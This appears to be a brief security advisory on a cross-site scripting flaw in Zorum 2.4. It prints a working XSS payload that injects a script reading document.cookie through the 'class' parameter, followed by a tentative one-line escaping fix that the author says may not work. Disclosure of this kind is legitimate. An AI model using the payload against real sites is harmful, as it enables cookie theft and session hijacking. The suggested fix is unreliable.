Vulnerable systems: Zorum 2.4 Exploit: z_user_show.php?method=showuserlink&class=<Scr*ipt>javascript:alert (document.cookie)</Scr*ipt>&rollid=admin&x=3da59a9da8825& (without "*") Solution: i think that will work , but im not sure open dbtreelistproperty_method.php and put this code in line 7: $class = HTMLSpecialChars($class); i'm a beginer php developer soooory :) ---------------------------------- Arab Vieruz thanx
